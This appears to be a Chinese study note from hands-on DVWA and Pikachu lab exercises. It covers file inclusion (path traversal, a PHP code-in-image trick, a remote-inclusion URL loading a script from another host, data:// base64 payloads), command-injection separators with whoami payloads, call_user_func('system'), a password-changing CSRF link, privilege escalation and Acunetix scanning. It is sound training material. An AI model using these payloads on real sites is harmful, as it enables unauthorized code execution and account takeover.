DVWA 靶场 Web 基础漏洞完整实操笔记:文件包含 / 命令注入 / CSRF / 越权全解析
前言这份笔记基于 phpstudy 本地 Windows 环境、DVWA 漏洞平台实操记录完整记录文件包含、命令执行、CSRF、越权、漏洞扫描相关全部知识点包含实操截图对应的操作步骤、底层原理、函数区别、工具使用原文所有内容全部保留仅优化语句通顺度无任何知识点删减。一、文件包含漏洞打开 DVWA 文件包含页面时页面提示The PHP function allow_url_include is not enabled代表当前配置不支持远程文件包含。DVWA文件包含页面提示1. 配置修改操作需要修改 php 配置文件找到配置项allow_url_includeOn修改完成后保存文件再重启 nginx 服务生效。php.ini配置修改2. 基础文件包含实操DVWA 文件包含功能目录路径F:\phpstudy_pro\WWW\dvwa\vulnerabilities\fi目录内存在 file1.php、file2.php、file3.php、file4.php、include.php、index.php 等文件。fi目录文件列表访问页面时传入参数?pageaaa.php页面会读取对应文件内容示例访问?pagefile3.php页面输出 admin 欢迎信息、本机 IP、访问来源地址、服务器主机地址。file3.php访问效果3. 路径穿越读取上级文件如果想要访问上级目录中的文件可以使用相对路径符号../向上跳转层级。实操在 vulnerabilities 同级目录新建 phpinfo.php 文件通过路径穿越读取该文件。新建phpinfo.php文件4. 图片木马利用原理文件包含漏洞不会校验文件后缀、文件类型只要文件内存在 PHP 代码标识尖括号就会解析执行内部 PHP 语句。实操步骤将写入?php phpinfo();?代码的文件重命名为 tupian.png 图片文件图片木马文件修改后缀为 jpg构造访问链接192.168.50.1/dvwa/vulnerabilities/fi/?pagephpinfo.jpg访问后页面正常输出完整 phpinfo 信息证明图片内 PHP 代码成功执行。图片木马执行phpinfo效果5. 四种包含函数核心区别漏洞页面底层源码使用 include、require 系列函数接收 GET 可控参数page四类函数执行逻辑存在差异phpif (isset($_GET[page])) { include $_GET[page]; include_once $_GET[page]; require $_GET[page]; require_once $_GET[page]; }include文件读取失败仅抛出警告后续代码可以继续执行require文件读取失败直接终止整个程序运行include_once /require_once会自动判断文件是否已加载避免重复引入同一个文件。包含函数源码截图可前往 PHP 官方文档搜索include 关键字查看函数官方详细说明。PHP官网查询include6. 文件包含两大分类LFI 本地文件包含Local file inclusion读取服务器本地存在的文件依靠../路径穿越遍历目录RFI 远程文件包含Remote file inclusion开启 allow_url_include 后加载外部远程服务器的 php 脚本。LFI与RFI区分远程包含示例payloadinclude.php/?pagehttp://192.168.50.158/test.php可跨服务器加载恶意代码。远程文件包含访问示例7. PHP 内置伪协议体系PHP 自带多类 URL 风格封装协议可配合文件包含函数使用常用协议清单协议功能描述file://访问本地系统文件http:///https://访问远程 HTTP 网址ftp://访问 FTP 地址资源php://读写输入输出数据流zlib://压缩流处理data://内联数据执行遵循 RFC 2397 标准PHP封装伪协议表格重点伪协议php://inputphp://input属于只读数据流作用是读取原始 HTTP 请求体Request Body内容在 PUT、DELETE 请求或是接收 JSON、XML 非表单 POST 数据时使用。php://input介绍data://配合 Base64 编码使用将 PHP 代码进行 Base64 编码可通过 data 协议直接执行。示例代码?php phpinfo();?编码后字符串为PD9waHAgcGhpbmZvKCk7Pz4可使用在线 Base64 加解密工具完成转换。Base64在线编码工具补充零散笔记内容日志位置可读取服务器各类日志文件URL 编码漏洞利用场景中部分特殊字符需要 URL 编码绕过过滤文件包含核心特点只要文件中识别到 PHP 尖括号标识内部代码就会被服务器执行查看网站源代码相关教程可结合伪协议 php://filter 读取源码。无关前置基础笔记计算机之间传输数据时字节最终会转换为模拟电磁波信号电信号 / 光信号按传输介质不同分为两层逻辑层数字信号计算机内部高低电平方波无法长距离传输物理层模拟信号远距离传输实际使用的信号形式。计算机数据传输信号讲解二、命令执行与命令注入漏洞1. DVWA 命令注入实操场景靶场 Command Injection 功能为 Ping 设备页面原始功能接收 IP 参数执行 ping 系统命令。DVWA命令注入页面2. 命令分隔符利用规则以 Windows 终端实操演示分隔符效果基础原始命令ping 192.168.50.1前一条命令执行成功后才会执行后方命令payload192.168.50.1 whoami||前一条命令执行失败后才会执行后方命令payloadaaaa || whoami|管道符直接输出后一条命令执行结果两条命令并行执行文件重定向符号 单大于号覆盖写入目标文件 双大于号追加内容到目标文件末尾执行命令特殊符号一对反引号 whoami会直接执行符号内的系统命令并返回输出结果单个 符号同样可以拼接多条命令。终端实操演示效果输入ping 192.168.50.1 || whoami执行完 ping 后输出当前系统用户信息。终端命令分隔符实操3. 四类易混淆安全概念区分代码执行Code Execution用户输入被解析为编程语言代码执行函数 eval、模板表达式、反序列化由 PHP/Java 等语言运行时执行系统命令执行OS Command Execution程序调用操作系统底层 shell 接口函数 system、exec、shell_exec由 cmd.exe 或 /bin/sh 执行命令注入Command Injection用户输入拼接进合法系统命令篡改原有命令语法结构由 Shell 解释器执行远程代码执行RCE攻击者通过网络远程触发代码 / 系统命令执行包含模板注入、命令注入、框架漏洞等场景逻辑总结RCE 是最终危害统称代码执行、系统命令执行代表执行方式命令注入是输入破坏命令边界的漏洞成因。四大漏洞概念对比表4. PHP 危险执行函数1系统命令执行函数能够直接调用操作系统命令的函数清单system ()、exec ()、shell_exec ()、passthru ()、popen ()、一对反引号系统命令危险函数列表2回调函数 call_user_func ()核心特性call_user_func 会把传入的第一个参数当做函数名调用剩余内容作为函数参数可用于绕过过滤执行系统命令。call_user_func函数说明1call_user_func函数说明2示例利用代码phpcall_user_func(system,whoami); eval(call_user_func(system,whoami));普通示例自定义函数 barber通过 call_user_func 调用phpfunction barber($type) { echo You wanted a $type haircut, no problem; } call_user_func(barber, mushroom); call_user_func(barber, shave);call_user_func利用示例3PHP 代码执行函数eval ()接收字符串直接解析执行内部 PHP 代码assert ()断言函数传入字符串同样可以执行 PHP 代码。eval与assert函数讲解补充 PHP 基础笔记完整保留无删减PHP 中查看数组内部内容常用 var_dump ()输出内容包含数据类型、长度、值适合代码调试场景。PHP打印数组方法三、CSRF 跨站请求伪造漏洞1. 漏洞核心原理前提条件用户已经登录目标网站浏览器本地保存网站登录 Cookie 凭证攻击流程攻击者搭建恶意网页诱导用户访问页面自动发起目标网站操作请求浏览器会自动携带用户登录 Cookie服务器无法区分请求是否由用户主动发起。示例逻辑用户登录淘宝后访问恶意网页恶意页面自动携带淘宝 Cookie 发起操作请求。CSRF攻击逻辑流程图2. DVWA CSRF 修改密码实操构造恶意 HTML 页面超链接直接指向修改密码接口GET 参数携带新密码配置htmla hrefhttp://192.168.50.1/dvwa/vulnerabilities/csrf?password_newopenlab123password_confopenlab123点击链接/a已登录 DVWA 的用户点击该链接账号密码会被强制修改链接内参数就是修改账号密码的操作指令。恶意HTML页面代码四、越权漏洞越权分为水平越权、垂直越权两类本地演示靶场为 Pikachu。Pikachu越权功能页面水平越权相同权限等级的用户之间未做数据隔离可以互相查看、修改对方私有数据垂直越权高低权限区分失效低权限普通用户可以访问管理员专属页面、查看管理员数据。五、Web 漏洞扫描工具 Acunetix1. 使用规范必须获得目标站点授权之后才能开展漏洞扫描无授权扫描网站属于违规违法行为。2. 工具扫描结果说明Acunetix 扫描后会区分高危、中危、低危漏洞自动爬取网站页面检测文件包含、目录遍历、脆弱前端组件、未加密传输等漏洞。Acunetix扫描后台界面3. 工具使用注意事项工具扫描识别出的漏洞不能直接采信工具存在误报情况每一条扫描结果都需要人工二次验证、复现确认漏洞真实存在。全文总结文件包含漏洞核心风险用户可控文件路径参数无过滤衍生路径穿越、图片木马执行、伪协议读取源码 / 执行代码命令注入核心成因用户输入直接拼接系统 Shell 命令各类命令分隔符是主要利用手段system、eval、call_user_func 等高危函数需要重点防护CSRF 攻击依靠浏览器自动携带 Cookie 的特性无请求校验 Token 时极易触发越权漏洞根源是后端接口未做用户数据、访问权限校验漏洞扫描工具仅作为资产巡检辅助工具人工复现验证是渗透测试必不可少的步骤所有 Web 通用防护思路严格过滤用户输入、配置白名单、完善接口权限鉴权、Web 服务采用最小运行权限。

相关新闻

APK证书指纹提取全攻略:从原理到实践,掌握4种核心方法

APK证书指纹提取全攻略:从原理到实践,掌握4种核心方法

1. 项目概述:为什么我们需要APK证书指纹?在Android开发、安全测试或者应用逆向分析的过程中,你肯定不止一次遇到过需要获取APK签名证书指纹的场景。这个所谓的“指纹”,通常指的就是证书的MD5、SHA1、SHA256等哈希值。它就像应用的…

2026/8/2 5:00:30阅读更多 →
【iOS常见问题】苹果企业签名是怎么实现的?

【iOS常见问题】苹果企业签名是怎么实现的?

嘿,小伙伴们!今天咱们来聊聊苹果企业签名到底是个啥玩意儿?很多人对这东西一知半解,小思就来给大家掰扯清楚!大家都知道,搞iOS开发得先加入苹果的开发计划,还得乖乖交钱。但苹果为了安全&#x…

2026/8/2 5:00:29阅读更多 →
基于大语言模型的新闻信息抽取实战:从非结构化文本到结构化数据

基于大语言模型的新闻信息抽取实战:从非结构化文本到结构化数据

1. 从新闻洪流到结构化数据:一个被忽视的蓝海如果你和我一样,每天需要从海量的新闻报道中快速提取关键信息——比如某个行业的最新动态、某个产品的市场反馈,或者某个事件的舆情变化——你一定会对“手动阅读、复制粘贴、整理归纳”这套流程感…

2026/8/2 5:00:29阅读更多 →
GEOSLAM移动激光测绘实战:从原理到应用的全流程解析

GEOSLAM移动激光测绘实战:从原理到应用的全流程解析

1. 项目概述:为什么选择GEOSLAM进行移动测绘?如果你从事过传统测绘或者室内三维重建,一定对架设全站仪、布设控制点、一站一站地搬站扫描这些繁琐流程记忆犹新。整个过程不仅耗时耗力,对于复杂、非结构化的室内环境或者GNSS信号完…

2026/8/2 6:20:52阅读更多 →
看懂 AI 世界:从大模型到智能体的常见术语

看懂 AI 世界:从大模型到智能体的常见术语

前言刚接触 AI,很容易被各种缩写劝退:LLM、GPT、RAG、Token、Agent……这些词经常出现在新闻和产品介绍里,却很少有人把它们之间的关系讲清楚。本文我们就对AI领域常用的术语做一些简单的说明,供大家参考。术语介绍人工智能、机器…

2026/8/2 6:20:52阅读更多 →
sys.modules[“py.error“] = error sys.modules[“py.path“] = path 这两行代码是什么意思

sys.modules[“py.error“] = error sys.modules[“py.path“] = path 这两行代码是什么意思

这两行代码是 Python 中非常高级且“硬核”的底层操作,它们利用了 Python 导入系统的核心机制——sys.modules 字典。 简单来说,这两行代码的意思是:“欺骗” Python 解释器,强行把 error 和 path 这两个对象,注册为名…

2026/8/2 6:20:52阅读更多 →
什么是架构

什么是架构

前言"架构"是技术人员最熟悉的词汇之一,但深究起来,大多数人并不能准确回答。本文开始系统梳理系统与子系统、模块与组件、框架与架构三组概念,并给出软件架构的精确定义。一、系统与子系统什么是系统?维基百科定义&…

2026/8/2 6:20:52阅读更多 →
OpenCV图像填充:cv2.copyMakeBorder原理、类型与应用场景详解

OpenCV图像填充:cv2.copyMakeBorder原理、类型与应用场景详解

1. 项目概述:为什么我们需要给图像“加个框”?在图像处理的日常工作中,我们经常会遇到一个看似简单却至关重要的需求:如何给一张图片的四周加上边框?这个需求远不止是为了美观。想象一下,你在做图像卷积&am…

2026/8/2 6:20:52阅读更多 →
Agent:门卫之后还能插一脚:PreToolUse / PostToolUse Hooks

Agent:门卫之后还能插一脚:PreToolUse / PostToolUse Hooks

门卫之后还能插一脚:PreToolUse / PostToolUse Hooks 系列回顾:主循环 代码库工具 REPL 项目上下文 Skills 权限 Write MCP 概念 MCP 实现 Context Budget Bash compact 2.0 autocompact 到上一篇为止,react-agent-mini 的工具链…

2026/8/2 6:18:51阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/2 0:00:10阅读更多 →
限时公开!某头部SaaS公司内部AI模板工厂架构文档(含5类行业模板源码+性能压测报告)

限时公开!某头部SaaS公司内部AI模板工厂架构文档(含5类行业模板源码+性能压测报告)

更多请点击: https://intelliparadigm.com 第一章:AI模板批量生成的核心价值与落地全景 AI模板批量生成正从实验性工具演进为现代软件工程的关键基础设施。它通过语义理解、上下文感知与结构化约束,将重复性高、模式明确的代码/文档/配置生成…

2026/8/2 0:00:12阅读更多 →
如何快速找回消失的网页:Web Archives浏览器扩展终极指南

如何快速找回消失的网页:Web Archives浏览器扩展终极指南

如何快速找回消失的网页:Web Archives浏览器扩展终极指南 【免费下载链接】web-archives Browser extension for viewing archived and cached versions of web pages, available for Chrome, Edge and Safari 项目地址: https://gitcode.com/gh_mirrors/we/web-a…

2026/8/2 0:00:13阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/2 0:00:10阅读更多 →
限时公开!某头部SaaS公司内部AI模板工厂架构文档(含5类行业模板源码+性能压测报告)

限时公开!某头部SaaS公司内部AI模板工厂架构文档(含5类行业模板源码+性能压测报告)

更多请点击: https://intelliparadigm.com 第一章:AI模板批量生成的核心价值与落地全景 AI模板批量生成正从实验性工具演进为现代软件工程的关键基础设施。它通过语义理解、上下文感知与结构化约束,将重复性高、模式明确的代码/文档/配置生成…

2026/8/2 0:00:12阅读更多 →
如何快速找回消失的网页:Web Archives浏览器扩展终极指南

如何快速找回消失的网页:Web Archives浏览器扩展终极指南

如何快速找回消失的网页:Web Archives浏览器扩展终极指南 【免费下载链接】web-archives Browser extension for viewing archived and cached versions of web pages, available for Chrome, Edge and Safari 项目地址: https://gitcode.com/gh_mirrors/we/web-a…

2026/8/2 0:00:13阅读更多 →
无损视频剪辑终极指南:如何实现快速高效的多媒体处理

无损视频剪辑终极指南:如何实现快速高效的多媒体处理

无损视频剪辑终极指南:如何实现快速高效的多媒体处理 【免费下载链接】lossless-cut The swiss army knife of lossless video/audio editing 项目地址: https://gitcode.com/gh_mirrors/lo/lossless-cut 在数字媒体创作领域,视频编辑处理的质量损…

2026/8/2 1:29:34阅读更多 →
AI辅助本科论文写作:8大工具评测与高效使用指南

AI辅助本科论文写作:8大工具评测与高效使用指南

1. 本科生论文写作的AI辅助现状本科毕业论文是每个大学生必须跨越的一道坎。记得我当年写论文时,光是文献检索就花了整整两周时间,打印的参考文献堆满了半个书桌。如今AI技术的发展为学术写作带来了革命性变化,合理使用这些工具可以节省80%以…

2026/8/2 2:32:55阅读更多 →
如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手

如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手

如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手 【免费下载链接】ticket-purchase 大麦自动抢票,支持人员、城市、日期场次、价格选择 项目地址: https://gitcode.com/GitHub_Trending/ti/ticket-purchase 还在为抢不到热门演唱会门票…

2026/8/2 2:09:20阅读更多 →